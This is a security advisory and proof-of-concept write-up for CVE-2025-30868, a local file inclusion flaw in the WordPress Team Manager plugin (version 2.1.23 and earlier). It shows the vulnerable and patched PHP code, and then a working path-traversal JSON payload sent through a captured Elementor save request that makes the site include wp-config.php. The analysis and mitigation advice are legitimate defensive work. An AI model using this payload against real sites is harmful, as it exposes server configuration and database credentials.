Contents

CVE-2025-30868 Analysis & POC

The Team Manager plugin version ≤ 2.1.23 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require, enabling inclusion or reading of local files on the server (e.g., configuration files containing credentials), leading to leakage of sensitive information and, in some server configurations, possible code execution.

Vulnerable code:

public static function renderElementorLayout(string $layout, array $data, array $settings): void
{
    $styleTypeKey = "{$layout}_style_type";
    $styleType = stripslashes($settings[$styleTypeKey]);
    $path = stripslashes(TM_PATH . '/public/templates/elementor/layouts/' . $layout . '/');
    $templateName = sanitize_file_name( $styleType . '.php' );
    //allowed file type
    $allowedFileTypes = [
        'php'
    ];
    $ext = pathinfo($path . $templateName, PATHINFO_EXTENSION);
    if (in_array($ext, $allowedFileTypes)) {
        if (file_exists($path . $templateName)) {
            include self::locateTemplate($templateName, '', $path);
        }
    }

}

private static function locateTemplate(string $templateName, string $templatePath = '', string $defaultPath = ''): string
{
    $templatePath = $templatePath ?: 'public/templates';
    $defaultPath = $defaultPath ?: TM_PATH . '/public/templates/';
    $template = locate_template(trailingslashit($templatePath) . $templateName);
    return $template ?: "{$defaultPath}{$templateName}";
}

In the vulnerable version, renderElementorLayout() does not validate input values. An attacker can bypass the logic if they control $layout and $settings, for example:

In renderElementorLayout():

  • $layout = "../../../../../../.."
  • $settings['../../../../../../.._style_type'] = "wp-config"

Then:

  • $styleType = 'wp-config'
  • $path = TM_PATH . '/public/templates/elementor/layouts/../../../../../../../'
  • $templateName = wp-config.php
  • $path . $templateName = TM_PATH . '/public/templates/elementor/layouts/../../../../../../../wp-config.php'
Debugger values of variables

Debugger values of variables

After passing the if checks, the code includes the return value of locateTemplate(wp-config.php, '', TM_PATH . '/public/templates/elementor/layouts/../../../../../../../'):

private static function locateTemplate(string $templateName, string $templatePath = '', string $defaultPath = ''): string
{
    $templatePath = $templatePath ?: 'public/templates';
    $defaultPath = $defaultPath ?: TM_PATH . '/public/templates/';
    $template = locate_template(trailingslashit($templatePath) . $templateName);
    return $template ?: "{$defaultPath}{$templateName}";
}

At this point:

  • $templatePath = public/templates
  • $defaultPath = TM_PATH . '/public/templates/elementor/layouts/../../../../../../../'
  • $locate_template = locate_template('public/templates/wp-config.php') = ""locate_template() returns the absolute path if found, otherwise returns an empty string "".
  • When $locate_template is empty, it returns TM_PATH . '/public/templates/elementor/layouts/../../../../../../../wp-config.php' to include.

Patched code:

public static function renderElementorLayout(string $layout, array $data, array $settings): void
{
    $allowedLayouts = ['grid', 'list', 'slider', 'table', 'isotope']; // Allowed layouts

    if (!in_array($layout, $allowedLayouts, true)) {
        wp_die(__('Invalid layout.', 'wp-team-manager'));
    }

    $styleTypeKey = "{$layout}_style_type";
    $styleType = $settings[$styleTypeKey] ?? '';

    // Ensure only safe characters (alphanumeric + underscores)
    if (!preg_match('/^[a-zA-Z0-9_-]+$/', $styleType)) {
        wp_die(__('Invalid style type.', 'wp-team-manager'));
    }

    // Ensure constants exist before using them
    if (!defined('TM_PATH')) {
        wp_die(__('TM_PATH is not defined.', 'wp-team-manager'));
    }

    // Define Free path (always available)
    $basePath = realpath(TM_PATH . '/public/templates/elementor/layouts/');

    // Define Pro path if available
    $proPath = defined('TM_PRO_PATH') ? realpath(TM_PRO_PATH . '/public/templates/elementor/layouts/') : null;

    // Ensure the free path is valid
    if (!$basePath) {
        wp_die(__('Invalid base template path.', 'wp-team-manager'));
    }

    $templateName = sanitize_file_name($styleType . '.php');

    // Define possible template paths (Pro first, then Free)
    $proFullPath = $proPath ? $proPath . '/' . $layout . '/' . $templateName : null;
    $freeFullPath = $basePath . '/' . $layout . '/' . $templateName;

    // Check if Pro template exists and is readable
    if ($proFullPath && is_readable($proFullPath) && strpos(realpath($proFullPath), $proPath) === 0) {
        include $proFullPath;
        return;
    }

    // Check if Free template exists and is readable
    if (is_readable($freeFullPath) && strpos(realpath($freeFullPath), $basePath) === 0) {
        include $freeFullPath;
        return;
    }

    // If neither file is found, show an error
    wp_die(__('Template not found or invalid file.', 'wp-team-manager'));
}

private static function locateTemplate(string $templateName, string $templatePath = '', string $defaultPath = ''): string
{
    // Ensure template name is safe (allow only alphanumeric, dashes, and underscores)
    if (!preg_match('/^[a-zA-Z0-9_-]+\.php$/', $templateName)) {
        die('Invalid template name.');
    }

    $templatePath = $templatePath ?: 'public/templates';
    $defaultPath = $defaultPath ?: TM_PATH . '/public/templates/';

    // Ensure paths are properly resolved
    $resolvedDefaultPath = realpath($defaultPath);
    $resolvedTemplatePath = realpath(trailingslashit($templatePath));

    // Validate resolved paths
    if (!$resolvedDefaultPath || strpos($resolvedDefaultPath, realpath(TM_PATH . '/public/templates/')) !== 0) {
        die('Invalid default path.');
    }

    if ($resolvedTemplatePath && strpos($resolvedTemplatePath, realpath(TM_PATH . '/public/templates/')) === 0) {
        $template = locate_template($resolvedTemplatePath . '/' . $templateName);
        if ($template && file_exists($template)) {
            return $template;
        }
    }

    // Build the final safe path
    $finalPath = $resolvedDefaultPath . '/' . $templateName;

    // Ensure the final path is within the allowed directory
    if (file_exists($finalPath) && strpos(realpath($finalPath), $resolvedDefaultPath) === 0) {
        return $finalPath;
    }

    die('Template not found or invalid.');
}

The patch applies strict input validation, absolute path checks, and limits allowed layouts, effectively removing the ability to include files outside the permitted scope — mitigating Local File Inclusion (LFI).

Info

The word Elementor in the function name renderElementorLayout() refers to the Elementor plugin in WordPress, used to build post content.

When editing a post that contains this Team Manager widget or when opening a saved post, renderElementorLayout() will be invoked.

Plugin element in Elementor

Plugin element in Elementor

Capture the edit request with BurpSuite:

Key settings in the request

Key settings in the request

We observe a settings key containing layout_type and {layout_type_value}_style_type keys corresponding to the analyzed code:

$styleTypeKey = "{$layout}_style_type";
$styleType = stripslashes($settings[$styleTypeKey]);

👉 These values are controllable.

Create a new team at endpoint: wp-admin/post-new.php?post_type=team_manager because a new team provides values to add to the Team Manager widget layout.

Create a post using Elementor and add the Team Manager widget.

Add the Team Manager widget to a post

Add the Team Manager widget to a post

Submit, capture the request with BurpSuite and send it to Repeater

Modify the action parameter’s value in the request using the Inspector and resend the payload

{
  "save_builder": {
    "action": "save_builder",
    "data": {
      "status": "pending",
      "elements": [
        {
          "id": "e9249f1",
          "elType": "container",
          "isInner": false,
          "isLocked": false,
          "settings": {},
          "elements": [
            {
              "id": "3e7c95b",
              "elType": "widget",
              "isInner": false,
              "isLocked": false,
              "settings": {
                "layout_type": "../../../../../../..",
                "../../../../../../.._style_type": "wp-config"
              },
              "elements": [],
              "widgetType": "wtm-team-manager"
            }
          ]
        },
        {
          "id": "b132b28",
          "elType": "container",
          "isInner": false,
          "isLocked": false,
          "settings": {},
          "elements": []
        }
      ],
      "settings": {
        "post_title": "Team",
        "post_status": "pending"
      }
    }
  }
}

Result:

The debugger jumped to wp-config.php

Successful LFI result

Successful LFI result

CVE-2025-30868 is an LFI in Team Manager ≤2.1.23: renderElementorLayout() fails to validate $layout/$settings, allowing path traversal and include() of arbitrary files. Patched in v2.2.0 using whitelist, regex checks, and realpath() verification.

  • Do not use raw input to build include paths.
  • Use a whitelist for layouts/templates.
  • Sanitize filenames + use realpath() + is_readable() before including.
  • For public endpoints: enforce server-side input controls — nonce alone is not sufficient.

File Inclusion/Path traversal — Hacktrick

WordPress Team Manager Plugin <= 2.1.23 is vulnerable to Local File Inclusion

Related Content